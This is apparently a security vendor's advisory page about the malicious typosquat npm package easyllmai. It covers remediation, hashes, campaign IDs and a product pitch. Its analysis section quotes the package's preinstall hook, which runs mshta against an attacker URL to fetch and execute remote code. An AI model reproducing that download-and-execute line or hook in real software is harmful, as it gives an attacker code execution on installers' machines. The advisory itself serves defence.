Which versions of easyllmai are malicious?

The following npm versions of easyllmai are flagged malicious: 3.0.1, 4.0.1. Treat any of these as compromised.

How do I remediate easyllmai if I installed it?

easyllmai is a typosquat — you almost certainly intended a legitimately-named package. Remove easyllmai, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed easyllmai — how do I know if it already compromised me?

If easyllmai was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is easyllmai part of a known attack campaign?

Yes — easyllmai is associated with the IN-MAL-2026-006774, IN-MAL-2026-006775 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find easyllmai across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for easyllmai (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging easyllmai across your stack and pipelines.

Malicious package

easyllmainpm

easyllmai is a confirmed malicious npm package (MAL-2026-5895) that typosquats a legitimate package to trick installs (malicious versions 3.0.1, 4.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in easyllmai (npm)

MAL-2026-5895

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall easyllmai

What this malware does

On npm install, the package's preinstall lifecycle hook ("preinstall": "node preinstall.js") unconditionally runs exec('cmd /c "mshta http://fixars.top"'). On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs npm install. Package metadata is also a throwaway shape (empty description, empty author, no repository, no keywords) and the name easyllmai is consistent with a typosquat lure against legitimate LLM-client packages.

Malicious versions

2 flagged

3.0.14.0.1

Indicators of compromise (SHA-256)

2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872

d1ab2568a3b8f8952a19724dc50ba7d34f9839b01c20ec315490c45d069def02

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for easyllmai (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging easyllmai across your stack and pipelines.
If you installed it — respond
easyllmai is a typosquat — you almost certainly intended a legitimately-named package. Remove easyllmai, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If easyllmai was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks easyllmai before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. easyllmai on npm has been identified as a malicious package (versions 3.0.1, 4.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006774IN-MAL-2026-006775

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks easyllmai-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database